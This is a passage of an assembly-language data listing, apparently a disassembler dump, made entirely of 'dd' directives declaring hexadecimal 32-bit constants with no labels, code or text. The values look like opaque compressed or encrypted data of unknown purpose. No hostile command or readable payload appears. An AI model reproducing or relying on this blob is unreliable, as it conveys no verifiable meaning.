0B1DEFF8Dh, 905F88Ah, 577890FCh, 0D52DE280h, 5B5CAA2Eh dd 2542039Bh, 80DEA596h, 0CB3963h, 3B30EBD1h, 10572EA2h dd 80970738h, 90BE0F1Ah, 7F54763Eh, 619A004Ah, 6FADA4FEh dd 4F032785h, 3E2B4E2Dh, 98EC09Eh, 72300F10h, 0A600812h dd 4E3729A2h, 0F901C67Fh, 4F7B452Ah, 1DECC71Ch, 0D4CA008Ch dd 5BF40739h, 5700347Ah, 0F018CD82h, 7CFAE5D9h, 67741FC7h dd 0D4B3C0B7h, 1BD3FF2Bh, 95012172h, 7E344A55h, 9520FAD8h dd 539D02D2h, 1B103707h, 0A151B4A0h, 873CBFCFh, 16FC8777h dd 5F44CCE1h, 0E67CA0h, 0B98904DAh, 0A08A7547h, 0E885F30Bh dd 0F9C08099h, 5B8D5Dh, 0E672D49Dh, 0C9F4058Bh, 5A02F5F6h dd 9F7548A2h, 31A44067h, 3F7DFE42h, 0F28366ABh, 6CA2BA22h dd 0E2208960h, 3BAA74A6h, 91003D66h, 136CA3B0h, 8518033Bh dd 8D306228h, 0EFDE0093h, 0E64B350Eh, 9D0061CDh, 0F6B3AB90h dd 146DE9h, 0A3C2D069h dd 747D2CF9h, 70D53704h, 0DAC3F713h, 0E9CBB014h, 0CB500D2h dd 3FF37FD9h, 7A00E523h, 0F4FE7EE7h, 0E1312Fh, 0B53DC1FDh dd 678ED7E0h, 8B521300h, 57E7820Fh, 0A877A1h, 6D9B8AC8h dd 6AA22AE2h, 64C5B507h, 9E103F82h, 0C97861h, 0BDB78B6Fh dd 0E290EC5Ch, 28504600h, 63D13D26h, 6AB00089h, 0B6DF9CB1h dd 0F400B24Bh, 646599E5h, 70CDBF06h, 0E1D500D2h, 0D9BB19B7h dd 0D60F222Fh, 808A2C38h, 0A96D52B8h, 0E1FC1E67h, 0FA1EC081h dd 8FC497A5h, 35076176h, 1C5D86FBh, 0F7A15BE0h, 0E1560304h dd 0C1C91E07h, 0A3249B98h, 29CE1930h, 76B789h, 0BC5BD563h dd 0BF33FA54h, 4F005EE8h, 6DBA1CB5h, 0C4D86Eh, 64055FAAh dd 237C21BCh, 7406EE79h, 4C24D515h, 1AC00368h, 78B0FFA9h dd 5F8EB205h, 0BBC0B9AFh, 3EBE94BFh, 0AE0326F9h, 207F0E78h dd 33572DC8h, 1C01B00h, 56068688h, 0CA0A0013h, 0D5BB538Ah dd 507148CFh, 80D7813Ch, 24FE0849h, 0E7C18Eh, 0E90B8938h dd 0C764B197h, 72165A00h, 50014994h, 45D30083h, 0A95381D5h dd 0BD0A6E55h, 0CDF61D6Dh, 0C01B430Eh, 0D44C2EC8h, 0B3EC264Eh dd 3FED00CFh, 26F5FDA5h, 88601800h, 22BB8E08h, 4ED53009h dd 0FC248420h, 2A52C09Dh, 0CC1F03FEh, 77A7F816h, 30052000h dd 0FB1DE68Fh, 6907000Fh, 8E094357h, 7D04A340h, 7F232DE5h dd 4B412AC0h, 0AAC900D5h, 0E122AF71h, 4000BD09h, 1329FEDh dd 0D227DAh, 0DF8CA6D9h, 0FE4C486h, 20E6A8CCh, 903C004Fh dd 0F50C37D2h, 6008CDFh, 2B43EF70h, 33AAC89Dh, 80B8D793h dd 5483EC0h, 44947601h, 0AAD115C3h, 8050B0B0h, 0C9B0FF53h dd 8A74A401h, 0AAF06DABh, 0B5EAF8h, 3375D196h, 0A7ED1CA6h dd 0D2380E67h, 0B707B813h, 0AB3CEE03h, 0CB081801h, 2FC720F0h dd 5C524100h, 9F724EAh, 276EA07h, 0F83F129Ch, 0A8E01151h dd 9707602Ch, 0C3B3E84Ch, 455D6270h, 0A6741816h, 0BF2E84B2h dd 2DD8500h, 0E2A5B4DAh, 67EF1EEDh, 5DC4095h, 372357FBh dd 0AACE4103h, 788968E9h, 0CBFC39h, 8899F67Ch, 0C04A2AD0h dd 7E45104h, 0C0BE9A68h, 21709C34h, 7178239h, 981FF8FBh dd 9138AB83h, 0C40908Bh, 0EB77A3h, 231B5C51h, 0B6189AAAh dd 0D5208560h, 13C97AD6h, 18CB31DDh, 0E561195Bh, 0F54ABD0Fh dd 74C9C0C1h, 38052C04h, 7F465F6h, 0B3E54D86h, 0E38C50F5h dd 6F0982C5h, 80FBD65Dh, 6D6AC8A3h, 0BCFF01C4h, 0A522391Ah dd 3FC3D233h, 70D201Dh, 70309380h, 0FDC8B2h, 9E203E26h dd 0C54ACEEAh, 31B6510Ch, 5550C9h, 69CC680Bh, 7F68E63h dd 188F153Ah, 0A320C575h, 111600B9h, 32B0CC4h, 27025BB3h dd 0F202E385h, 43848097h, 0EACB1F70h, 4C4A140Dh, 3F0010D5h dd 0F7FC83E5h, 0FA01A8DAh, 13AEF5DCh, 1080E8CEh, 0B1941B06h dd 0DD07687Eh, 0E7FE04E5h, 0F5D243h, 8BCCF020h, 0B5DB1E0Eh dd 0F6DD051Fh, 23E89143h, 0E0F78840h, 0A5A4001Ch, 0E143FC3Ch dd 8712862h, 0E3D383Ah, 58E6F2F9h, 861270F9h, 6168E80Eh dd 648FE86Eh, 0EFC4543h, 3A118C01h, 0E740AB9Bh, 78D037EBh dd 56B100C8h, 426BA4B2h, 855424ECh, 5C4380D4h, 0D443E507h dd 3131641Ah, 7E009085h, 0DB008958h, 142FF78Ch, 0EDFC82h dd 1BCEABDAh, 0FF43063Ah, 6C4E0A00h, 88521F7Ch, 79420B9Ah dd 0C78EB32Ch, 23F00D2h, 7E20B8EEh, 9BD73800h, 4FE0C951h dd 0A41F0AC0h, 1878650h, 21530A01h, 0B99C60EEh, 0BFA9BD00h dd 76E130Eh, 9CEF076Bh, 60D45203h, 36A66F74h, 1ACB48h dd 218D4A63h, 0BFF32Fh, 76D464D0h, 42BC58B2h, 0F07C8398h dd 0C2757900h, 2F04C599h, 0DF038h, 0C13AB012h, 8D37286Bh dd 0F1FC9107h, 34C0E6ACh, 0FB9D08Bh, 0C9993987h, 9D8FF301h dd 0B49EE084h, 0ED284760h, 7688CFEh, 0B741CCDAh, 30C9E769h dd 0DE669DAAh, 0C238A100h, 1CF05C97h, 303DE276h, 0BC086E1Ah dd 4CE691EAh, 0F45B1D0Ch, 7EB34885h, 204B3F0Dh, 8FBBF300h dd 7D7B01ABh, 67167700h, 9DE6FAFDh, 226400AFh, 3779F0D4h dd 39F638EDh, 0E32010Eh, 0B31B80DEh, 7BA0BD8Bh, 66A302Fh dd 962437A8h, 5BEC68C0h, 3C67CABh, 87508B7Fh, 3DC3ACC8h dd 0FAC05FA8h, 0C72FE707h, 0B8809138h, 590F9Eh, 0E6B169FFh dd 28933064h, 457A1E1Eh, 1306DA80h, 793BC580h, 76E90604h dd 792ECBF1h, 74C79802h, 0A9BD5057h, 0C0228E98h, 81601B36h dd 4E3C00C5h, 0E266E926h, 46E18E55h, 0CF0059B3h, 2BD22C12h dd 7217E33h, 4C27E13Eh, 307717D0h, 0E3D7578Eh, 401E74E0h dd 2C1D190Dh, 8917A840h, 4B96DEh, 73EBB049h, 59E0FD41h dd 76AA3300h, 32AC2C7h, 13860096h, 0A58E6F0Eh, 7D0064F9h dd 95924582h, 3BFECE6h, 0DD8F9A2Fh, 0C02E0860h, 813BA506h dd 3EE6B6C4h, 18803884h, 66D75293h, 0E318C1C7h, 61F0A9B9h dd 1F870135h, 9273849Bh, 2F8C40DEh, 2D48C9D9h, 0E0C5155Ch dd 1F04032Ch, 0D43EF9ABh, 89CD2F30h, 84AC5580h, 0BCF38B10h dd 0AFF85608h, 0BFFDA188h, 8D53B11h, 8AABE78h, 1743855Ch dd 0B1B11046h, 2B3784B2h, 7A738080h, 59A26747h, 5E2747Dh dd 5804B778h, 888075B0h, 0A02B603Eh, 407E3B2Ch, 0AE420DC6h dd 0BE632F08h, 6DC1E04h, 8AB46D4Ah, 43FCB4C5h, 0D0608E99h dd 2301A450h, 0B7B861h, 0F584662Bh, 2C90C9F1h, 3F5EB114h dd 80B43BC4h, 0C456B875h, 0E6213C1h, 8D012957h, 4FDD0350h dd 0F7392F5Bh, 7F0090AAh, 0F6CB5D91h, 785FE2Ch, 421899B7h dd 5A1EF02Eh, 0BA139190h, 30520592h, 0ABC11C02h, 867440FBh dd 401313ACh, 6D042014h, 0D500A9F5h, 82445E31h, 0EEEF235h dd 4576DB37h, 75A12B60h, 40480151h, 5DF2859Ch, 0B479D70Ah dd 0BCB24905h, 46F09805h, 7C68BC00h, 0B0993CF8h, 603E7FFAh dd 2AFDD17Bh, 763D6D6Bh, 0E22C800Dh, 0C5B03705h, 2D9124FAh dd 0EAA98034h, 0C9565812h, 76349703h, 0A82AA238h, 0D3E4DBh dd 997565A1h, 0E2FD7B1h, 449EBD0Ch, 7D2BB6DEh, 6F3F0014h dd 0E5AEABADh, 773DFD16h, 0B5C68255h, 0E04730FEh, 0C02B8D5Ch dd 37F18CD0h, 0C30074D2h, 2D260843h, 989F0760h, 7397E83h dd 0BD87691Ch, 48C7B0DBh, 4D02E3EFh, 626A0496h, 0CAC3E4h dd 88F62EE1h, 0B10A1CB3h, 0C676E13h, 4995F200h, 3C75548h dd 5CFE0D77h, 0A480BA46h, 4006B3C1h, 0B7E1FC43h, 0B8BD0091h dd 152DF045h, 3C3091E4h, 291F18D5h, 2C889A81h, 3D8659Fh dd 0D7639187h, 34932000h, 737CBB6Ah, 71F00F3h, 2AED2B1Ah dd 0A812C43Fh, 5040FCBFh, 33D7A55Ah, 4C46001Dh, 0DAC149A9h dd 0DB009776h, 0C33F2F37h, 5D762h, 0B7C90BBBh, 7E997AE8h dd 3CB61207h, 19606F75h, 32FB4Fh, 8552F196h, 0FE8CCCD7h dd 0FD93D00h, 6F16865Fh, 510B00C8h, 35A3C215h, 64006E76h dd 0DD4BF439h, 0DECE7Ah, 757DFA0Bh, 0FE0E83F1h, 15578D00h dd 0D3E67B04h, 0E35900DEh, 54AAF3E7h, 74E6B37Fh, 93CDFF00h dd 6877DD7Bh, 6DB8004Fh, 24C131DEh, 720040A4h, 85162981h dd 5AEFFBh, 3D4C860h, 0A20F3F78h, 57DF4B00h, 0F1B6BCA1h dd 8AEB0381h, 581568FAh, 0B2119AA8h, 1891D300h, 51F24F0Bh dd 0E92158E3h, 0D659E00h, 387027F5h, 5755DE03h, 0D00CD5D9h dd 736A5CEh, 3D24950Bh, 0BB1E302Ch, 0FE00E144h, 5253EAB3h dd 0F1037D3h, 7EBDDB48h, 1F94716Ah, 0EEC20FB5h, 8C9ABB60h dd 7B3163D7h, 16871833h dd 88C1044Fh, 0F096F04Dh, 640127CFh, 0C706E81Bh, 0A0C8B92Ah dd 8D2E00AEh, 757286A2h, 0C10C79F8h, 28211ED7h, 0D5FF4493h dd 0F77ED844h, 1169E611h, 571034CFh, 0A308362Eh, 8489AA86h dd 0F1C02C5h, 0C328D1DBh, 40CFF228h, 4B62C0F9h, 2132B729h dd 8C54DCB4h, 29150250h, 8311E197h, 2F4511FEh, 57CE518Fh dd 6DDC0870h, 86BF1026h, 22A10962h, 0D3108C7Ah, 0B281A60h dd 0C68E7E64h, 2976C679h, 20B55B22h, 0E5FCFA67h, 0FB269000h dd 527B7899h, 6D4D0EDFh, 70EEF39Ah, 2691C780h, 39003BE4h dd 42BA018h, 15B73F7h, 3C658EE6h, 0D4C0B241h, 5E7F3074h dd 0C00D1FCh, 4EB0174Ah, 3F75EE4Ch, 28086BAh, 8573C24Fh dd 0B27BCB26h, 0D7445700h, 891BF8B0h, 168E68Eh, 9DD1113Dh dd 0F01330B3h, 0A500DD3Ah, 292BC1D3h, 4941E0h, 0BFCCB669h dd 867C739Ch, 22F43C01h, 19050DFFh, 3E9B57C8h, 94262B5Fh dd 0BB1800D5h, 22778216h, 1E563Ch, 2FA89F41h, 1EEB8CCBh dd 406FEC85h, 0BD5EB759h, 0FC482E83h, 9A0E6040h, 3C8D0229h dd 0C19FEC41h, 0C0B301F4h, 0D05A6452h, 0BC1CD84Eh, 0DE07E16Ch dd 6870C7F0h, 0F7BA0Dh, 8E9169FDh, 0B4B007DDh, 387C6602h dd 60578362h, 0ACBD5Bh, 42E5BFE0h, 5CB2563Ah, 6C33E20Ah dd 0E701905Eh, 0EE038077h, 3F73B7C8h, 0D5872AA9h, 40435F10h dd 13703F93h, 8C94C300h, 0E277ED8Fh, 0EBA6016Eh, 2F153E7Dh dd 18B3EB44h, 4E9FD6C8h, 0ED1D3373h, 55D84284h, 1DEF309h dd 7750E1BCh, 80EB6994h, 9C73C818h, 0C758AFh, 0B8A76D83h dd 0BC6ED74Ah, 0E9D84000h, 92A890CCh, 97F64Dh, 9AEEAE0Ch dd 1418B2ABh, 40885060h, 0E5AD7Eh, 2655F96Bh, 2E6ADDA5h dd 494C1D16h, 8E428800h, 48C1D75Ch, 0D10047D4h, 0AF13F573h dd 11010D31h, 6E78A63Fh, 0E02FEF3Dh, 70C3A42h, 10E9201Bh dd 33D90E12h, 54837CDEh, 3CB8FA79h, 0F898F4C6h, 4C00A870h dd 8D6CD423h, 2E0E5186h, 335F74Eh, 848ABA6Fh, 0E14172A0h dd 0DEEB9E00h, 33AA2788h, 619A0097h, 19D68D0Bh, 140084A0h dd 93A154FDh, 248001F4h, 3D2637B2h, 0CD4F300Fh, 0CAA9A3E0h dd 0D3FBA72h, 2DFE80E0h, 0C06B0A2Ah, 0F4470009h, 0E273B628h dd 40009380h, 9EEB4A87h, 7863D0Ah, 0F035DD4Dh, 82F4C0BDh dd 3200FA07h, 0C99BDB20h, 4F897Bh, 0BF5D1873h, 5EF87727h dd 0E2EC7C00h, 0E16B3372h, 251A00C4h, 775F9C7Fh, 8C1E3A69h dd 0B4066CC9h, 20E839h, 0BB6BFCEAh, 1D2C5DFBh, 97508900h dd 0A95FF574h, 402800C7h, 0B66ED1CAh, 0C00E851h, 4B08A872h dd 0A2A3C8h, 52F52719h, 5F51771Bh, 79A0C504h, 0F8901DC0h dd 67CAADh, 0EB9D7DD3h, 0E6E3F450h, 69A20900h, 9ED63E7Bh dd 13F2001Dh, 9AA772C8h, 84DC55D7h, 7D00F43Ch, 1F1D6204h dd 1F06ABAAh, 0DE4656ECh, 7A920099h, 784BC8D1h, 387DA800h dd 8019B68Dh, 32810001h, 0B26A3D2Fh, 9A0037F7h, 8BA7C382h dd 21C2FDh, 0C52549E2h, 6C76AF1Fh, 770041F8h, 0FCBB4562h dd 39144Bh, 5EB9ED97h, 284C99BEh, 788E8200h, 0FE619B22h dd 0A07D018Ch, 0C0185A10h, 9C50F48Dh, 39A6B000h, 0E835914Ah dd 206905D1h, 87893C47h, 0C2A5F086h, 0FB005C93h, 0AC8FE643h dd 544A29Bh, 0E02CB145h, 37D10FB0h, 83547220h, 787BDBD3h dd 0A362C400h, 328D3A39h, 417E99h, 8A8066E4h, 68B852C7h dd 0F21F71ECh, 0E012D5ABh, 698F0444h, 0D33565C0h, 61BE0E6Eh dd 0F34BABh, 276DA168h, 0FC9003E9h, 0F1EBBF00h, 2BF5B61Dh dd 0D5870017h, 7EDA65CAh, 0E1001EEAh, 24C63ABAh, 0A0C0D34h dd 480350BEh, 0E8C880F4h, 76BAC06Ah, 0F11C8000h, 4652FAE7h dd 1E5018D3h, 1F3934CCh, 69A81800h, 2312119h, 0A2E70035h dd 0EDB792A1h, 0CD0371FBh, 93324D5Bh, 2153B10Dh, 90EB84D8h dd 0DE9701E0h, 946EA2C4h, 2C55E47Ch, 16786000h, 2ADB04F0h dd 0FE0D0E0Eh, 0C1A0E992h, 8E93583Bh, 0C701CAF8h, 0EF0FAE7Ah dd 16F85489h, 0AA73DFh, 1ABD2D96h, 0B13340C7h, 0C646C300h dd 34E68FCh, 1E9CEA0Dh, 72529D5h, 80AEA205h, 8C37F0F7h dd 0D9036302h, 607C2760h, 140E44h, 0C50985B4h, 33C06245h dd 6CE46450h, 0E42CF500h, 98FF1E3Dh, 5B050003h, 7338DE3Ah dd 0D403B552h, 0EAAAA31Fh, 76908002h, 440E0006h, 0F8F4748Fh dd 0F2004D3Ah, 0E2B392DCh, 2EC05BB6h, 39F4E1A9h, 888E01F4h dd 138FA111h, 7A6BCC79h, 5B672D00h, 201E2CFAh, 0C6CEA0E1h dd 0D74800B0h, 0CA30391Ah, 0B4004273h, 21E3F864h, 2E74B3BFh dd 0BC8E41h, 33D0127Fh, 440FDD85h, 0A262C9h, 6FCED734h dd 0F0A9005Ah, 90316BEEh, 1A038B4Ah, 0D29F2A8Ch, 24E3814Fh dd 4300EC33h, 0FDB96FF0h, 9B00E0FBh, 2550BC3Dh, 4FDA23h dd 94EE55C9h, 0D435033Bh, 5FB6F900h, 0DBE3CC51h, 5370ECh dd 9BEEAC1Ah, 60036270h, 0D2CECA00h, 6A45EE4h, 97A90F5h dd 52DC1CE1h, 0F9582500h, 83F6F857h, 0FC37D000h, 2DC36BD4h dd 8099B02Bh, 1D6E3BD8h, 80C05924h, 144C9A2Eh, 0E500B709h dd 5EFFB8EAh, 1FBF7BD5h, 193238Ah, 9D281192h, 1E82C08Bh dd 0A755807h, 0EA22EDBh, 239CA067h, 2CB54FFh, 0BE5DE23Dh dd 8A40AB05h, 5F009FBFh, 0F00A3860h, 1D36D2Fh, 74B2A881h dd 0DC40BB5Eh, 0D03FC159h, 0DE00FE18h, 0AA4E6C8Bh, 0F84B0Fh dd 9601E7E0h, 88B23220h, 3D68A00h, 0D47BCD3Bh, 0CF79383Dh dd 5768FA00h, 86B5B3C9h, 0B48A4C00h, 0EDDF639Fh, 44E5077Dh dd 0FD3943Eh, 43362CC0h, 91008705h, 314FB0A5h, 2C6F6h dd 6C66BDCCh, 3EA1E270h, 0B348C500h, 3C0C4DDAh, 2B531EEAh dd 0B954006Eh, 58C36A94h, 3EAA3900h, 8C630DACh, 0EFC00065h dd 0EDCB127h, 7900B728h, 6F962B61h, 1FEB5514h, 0C11BA49Ah dd 8B8DABB8h, 6C19F059h, 543DB10Eh, 0BE920040h, 1A66A83h dd 0DF521053h, 0D534F69Eh, 6415C041h, 8C497B02h, 0E07F0D5Eh dd 59F2D4h, 48CE1E5Dh, 0EE4C8B4h, 3D0CB306h, 3D742F5Eh dd 700DA97h, 0C2A488C3h, 0A501CDD3h, 0FC350C6Ah, 0C0F67667h dd 0CC9339h, 95685C7h, 25E10D3Dh, 38045507h, 1AB07F44h dd 1991076h, 0B48D6543h, 0E0C180C6h, 0FA00EBE2h, 0F945AEC5h dd 1E589AAAh, 40D5A7DEh, 0C761D3A5h, 660360CEh, 2EE1793Bh dd 3ED8138h, 0B66C60h, 0C12CDAAAh, 0E1E7CA25h, 9455A603h dd 0F35B6AB5h, 0E01BB22Ah, 5C3D2Eh, 14B8ED73h, 0E8833A75h dd 0E4958607h, 0D7329B7h, 27B3882Fh, 1DE0F1h, 0B6C7BE4Eh dd 1C1695E8h, 0B00E678h, 7EFA99CBh, 388B7755h, 0FFB719h dd 6CF11E9Ch, 5224063Ch, 13BF3200h, 12497AFCh, 6D9D00F2h dd 76449E73h, 0D307F538h, 96093984h, 0A1709350h, 0A80300A3h dd 0FB91790Eh, 6700C902h, 3E308487h, 0E8A7C1B6h, 0AC0D00E7h dd 5FF35ACEh, 64006A88h, 470BCFBCh, 0F50068Dh, 71ADAB1Bh dd 387E3640h, 0C494E022h, 0C6C20540h, 45DC0762h, 2247617Fh dd 0B7C058E5h, 2448C0FAh, 0FB200E00h, 8A858080h, 168681FCh dd 0FC3CA94h, 13697A24h, 0A8E1E480h, 2500A010h, 0BCD0BA54h dd 38D9D169h, 1C4C9ADAh, 6E01CB05h, 0D0228048h, 0DF19E9CAh dd 0E5581AB1h, 2E553C30h, 7242A6Fh, 0A02EBD12h, 0FCD14EA0h dd 5C3590Fh, 0B926600Eh, 1F39D8F6h, 0FD59BEAh, 0C5E0A42Fh dd 31BB18Bh, 486D6600h, 52CB7163h, 67A303F5h, 82377BAFh dd 319892D8h, 0C73EB500h dd 3C769BA8h, 209F013Ah, 737D0E3Dh, 0BD2CD0B7h, 9535C303h dd 805E04B5h, 2149E7h, 8F395B96h, 0BEB60F85h, 0FC1D9200h dd 54A65E86h, 0D8D0472h, 8AD45105h, 2DDC0074h, 52EB6446h dd 6F9407ABh, 0C99C714Ah, 45B69A00h, 2005159h, 6D535292h dd 2B0247Ch, 0FDDA65Ch, 0FE608D67h, 41075F83h, 896CEF9Fh dd 8688BF50h, 8CA11D26h, 0DE9CC0CAh, 71BA032Ah, 70591724h dd 847CD400h, 0FAB1CCA7h, 0F5D2007Dh, 700E7E65h, 0F2006396h dd 0A423728Dh, 0B16756h, 9F923BFDh, 0EC431F36h, 0F4B4FE51h dd 0B20E99F2h, 258B137Bh, 0A403EBBBh, 0C85A64DAh, 9EFCC8h dd 6552E135h, 0EB07BB80h, 3A00D078h, 0EEBA4A2Eh, 0FED2ADA1h dd 6B2B00CDh, 0AB88A3B4h, 0B0009E01h, 0A50EAA76h, 0BB4A61h dd 55290D30h, 799C8BBEh, 38A3F80Eh, 0A69DE195h, 0E5D8D736h dd 0DC91717h, 0E10D00B5h, 7FDD8C96h, 99B1AE01h, 0EE65C74Eh dd 2C61CADCh, 8E1CFh, 0FF0280AAh, 1302307Ch, 0C3C4C4Ah dd 0F7A880A4h, 479A2B9h, 0C6BD9199h, 0ABECC0E0h, 857296AFh dd 0A8F8D707h, 8CA1E3D1h, 0B840A02Bh, 0E4B32353h, 0DCF00085h dd 3E889695h, 6802BA0Bh, 282D39C7h, 0AB44608Bh, 757700E9h dd 0BA3C9FE4h, 1700B659h, 0A56C490Dh, 0F45F9D6h, 28AFC8E6h dd 1C67A7h, 0EF49C783h, 0DC81AA00h, 13F2E61Eh, 0BF8E005Eh dd 85B5334Fh, 0B3005164h, 5DDCC2CAh, 0EB520A27h, 11FF473h dd 82EAC0EFh, 0E0FD42E5h, 0D16A318h, 3FED2690h, 0C71E8974h dd 0C120468Dh, 0D901A0AFh, 0D209B6E4h, 54281087h, 2F522B00h dd 0D7F0864Eh, 2DAF70FDh, 8D07F47Bh, 0DC67B0DAh, 48A66EF1h dd 1B337F0h, 0F9BF1F79h, 0F844038Dh, 30039AEEh, 88C25F9Dh dd 0AD6CB825h, 8499009Ch, 0FB2BBFB0h, 3200BBC7h, 2F4FDDE7h dd 9AD355h, 8FEB9C82h, 58C71F5Eh, 6C001B7Eh, 0A98E8337h dd 50DEB1h, 541757C2h, 0D09472C8h, 0FC007C7Eh, 1EB7CEA0h dd 0C40988h, 6723D38Ah, 5155F510h, 64963A00h, 7A5A02ABh dd 5E3800B0h, 0F51383A9h, 82009B5Ch, 42C434FCh, 0FFFE269h dd 2329D64Ch, 0CDF304E0h, 4F13578Bh, 0B0000B8Fh, 322E3EE8h dd 67A91676h, 0B72802B0h, 0B860F4F6h, 3B00E787h, 894616DBh dd 125AF25Eh, 848218h, 0EA5440A4h, 0E400D4C6h, 127F2172h dd 12518548h, 0C1174466h, 0F534E000h, 4F0C20B8h, 42E44B00h dd 1AB57E55h, 0E67401F5h, 62766E88h, 2CC9FC66h, 9D25800h dd 48E2930Eh, 0F5E8A2C8h, 0CFA52CE0h, 0DA241000h, 0DEFFB54Fh dd 640728B9h, 560A02BCh, 93A42690h, 0E0A768E8h, 60389B00h dd 35A00F6Ch, 3C1A1C2Bh, 3F2EC0F4h, 0EBDB136Fh, 6C3B8E00h dd 1FC94AA8h, 0EC0C01D0h, 7325D7CDh, 22F1E48Ah, 964FB60Eh dd 0C2479EE2h, 67D0E7DBh, 0E674F757h, 1E201818h, 0EF4FA8CAh dd 8A82FB00h, 0EA7CAA94h, 5461C16Ch, 0FD53EE47h, 380C2072h dd 0C970B098h, 5A7C3503h, 0C0A11C49h, 0FE41F321h, 0A46E05FFh dd 2593DAFh, 144DFEA6h, 0E01E6C46h, 69408643h, 0A694709Dh dd 955F1DEBh, 5B2680F0h, 2355D044h, 0EE87CC00h, 0FBD596FEh dd 0FF191F36h, 8B74C315h, 0C08DB45Ch, 0E4122312h, 8092092Dh dd 394258C0h, 5CB97B44h, 0A11E9C56h, 7C2C40FAh, 8558E748h dd 69E6C700h, 57BAAA5Ch, 0E5881331h, 0EB7C01FEh, 0C809B1F2h dd 5C00CF74h, 621CE6EDh, 0FA633E0h, 0B0E49DA9h, 0A12BEB20h dd 4A7203F6h, 0B475D200h, 51A9E294h, 722E0054h, 1143E710h dd 280C5B09h, 0A0D769B8h, 0BA1902F0h, 555376FEh, 8A0D0040h dd 0D05CE21Eh, 0C39B2787h, 28FAF801h, 33FBFF40h, 0F6620411h dd 0C01B997Ah, 1F313E8Ch, 0D8286000h, 68B3872Fh, 48CDF079h dd 984091C5h, 0BC5F3BFAh, 0D1045E00h, 1AA07663h, 0B82CBE28h dd 14646100h, 0BD330205h, 936500E1h, 5DA17CB6h, 29006926h dd 84B3D56Ah, 168F0C5h, 0B9B7F2B1h, 81E7AE61h, 1F65719Ah dd 3360694Fh, 98D207DBh, 30803B78h, 4C81B1EDh, 7E20A600h dd 3CCF8782h, 0BB073EE8h, 2879A007h, 6D8A6146h, 953E8ECh dd 0CA8E8600h, 920EE390h, 0FAC70705h, 80AF522Fh, 5751759Eh dd 66778400h, 0BB88C3D9h, 0E0F800D1h, 0EC4ADE2Bh, 992CC711h dd 31000090h, 0A6625E96h, 21F50097h, 36221BE8h, 2C05B8EBh dd 2EC4D881h, 0BB5AE000h, 72F1751h, 0C9B26525h, 0CC39B5EFh dd 557B7A28h, 0ABB0CA0Bh, 3440BCFh, 0C8B10E9Ah, 903D9079h dd 92542CF4h, 0C07A8004h, 0A803625Fh, 0C8E249h, 2106BE87h dd 0D2328Dh, 3EDAD08h, 982CD91Dh, 0BCE41401h, 0C51CE53h dd 0C1336F0h, 5870A560h, 1F77AC10h, 1C224D0Eh, 0D96D612Ah dd 782435DBh, 0D2C1F80Dh, 7E3D03F9h, 699841E3h, 73079828h dd 0BDA92902h, 96188FA0h, 8BEA0103h, 5C80A5FBh, 631070E2h dd 0B284Ch, 0A99A4A9h, 71139Dh, 56FF7A62h, 0CE7E34Dh, 9EEC31Ch dd 6B453280h, 738DF3AAh, 0D3FB0087h, 0D6502A4Fh, 0E3005E7Fh dd 7606C36Dh, 5ACEEF2h, 0D028547Bh, 0C064D72Ah, 4EE3F06Eh dd 0F3004CFAh, 5C6FC485h, 3AD21Bh, 10E49C4Bh, 0E6B51D9Fh dd 1118FE71h, 4F09AE77h, 781E0934h, 3480C5F8h, 0DE1965A9h dd 1D0D3D00h, 9C94CCD5h, 4D32002Dh, 2F13408Ah, 460025ADh dd 7670C23Dh, 0D2E7A6h, 5977941Ch, 0A05B7550h, 1F24024Ch dd 11A0D1B8h, 26BAABh, 152E2CD8h, 40E27Ch, 9816D3E5h, 79B7F466h dd 9FC98A3Fh, 0F540EC25h, 0E2999390h, 0D36E0001h, 4F9C0EE0h dd 1C01D18Ch, 95DD828Ah, 9FF7518Dh, 73333170h, 0FC2700F5h dd 0C517EFA5h, 0FF001308h, 18C229A9h, 24F22BD6h, 4F660Ch dd 5EA3D837h, 43002FBEh, 55F9BC4Fh, 65495BFh, 0B374E28Ch dd 6613C083h, 3438BD89h, 5D993B12h, 0A7540603h, 70C3F8CCh dd 132965D0h, 5AA5F403h, 0C06C5FAEh, 0FDF1Dh, 4D1B2A24h dd 0B33A9280h, 5C5B5318h, 3473520h, 79AB9CCEh, 9BA3F06Dh dd 80FB483Fh, 54D26231h, 4FD53C2h, 4287EF9h, 0A494C14Fh dd 0C00A2AB9h, 7328D896h, 0BE758C00h, 78461583h, 0C6900711h dd 0D00F12B6h, 0B8707966h, 8297711Fh, 7DC1511Fh, 2D0D1507h dd 0C081EBDBh, 9B5DCCh, 7771E0E8h, 0C4F1C524h, 0D9B0A373h dd 0C9E14C00h, 0DFBDB73Bh, 3E736Dh, 0E8B1AE82h, 3F0976D9h dd 3D298703h, 3A229Bh, 804FD038h, 0A13C0F6Ah, 0A81C7100h dd 5708E705h, 0A2A50010h, 9440F018h, 0BF67AFBh, 0EDA30D03h dd 0B04BFDA7h, 7EB55Fh, 7616F00Ah, 7006EBCBh, 0D757F8C3h dd 1DF3987Ah, 61810033h, 890D6494h, 5800192Bh, 5AC1ABA2h dd 605F4h, 63D5CD28h, 507FC2A6h, 0D42CE200h, 7908E5BDh dd 34810B9Ah, 0B801E1BAh, 0C6445476h, 0CA047CF2h, 0B3D323F6h dd 0D64B1080h, 58213AE9h, 1DA31680h, 32373F45h, 43652300h dd 0E12F7BF1h, 38D40068h, 2C471815h, 3605511Dh, 2A06BD5Fh dd 0DC875CC0h, 68650012h, 0D0B5EC62h, 9C07FFA4h, 0CFF59EC3h dd 51C0D395h, 0E3AB232h, 44BEDCE7h, 0F869483h, 0E15963A9h dd 872880D8h, 0D44C0217h, 2CA63016h, 6C82A060h, 22B0ABECh dd 5D9F7618h, 4CB918h, 0CF3EDFE3h, 0E1E46108h, 19338201h dd 4E161848h, 984F37E4h, 0D8FB4C65h, 6800EE38h, 293F19DCh dd 2E77CA17h, 8E03E278h, 38432BC0h, 655A980Dh, 53EF0036h dd 4A02CAE5h, 3C005C98h, 0C674913Bh, 8439A7h, 6DFFFB4h dd 1A0242E6h, 649EEB01h, 189791C5h, 0EAF49D4h, 88591258h dd 6760F4AFh, 7D3961CDh, 63E95207h, 5AE07C5Ch, 250F337h dd 0C9FE57E6h, 6452979Fh, 0DEC20E03h, 80AE1F02h, 3E4421FFh dd 3981406Fh, 0CE7B2531h, 0D836C526h, 8C00C9D9h, 488011A8h dd 0E54A48Bh, 0FCB1EA3Fh, 0E5A9F480h, 0B0264EFBh, 0B3070CCDh dd 1460D09Bh, 25B835A1h, 0B80078CEh, 0C9238CD2h, 0CDD87001h dd 77137F8Dh, 76496D0h, 0FE5D3757h, 0F9D501B2h, 55C8EB36h dd 10243A2Dh, 6A023CE3h, 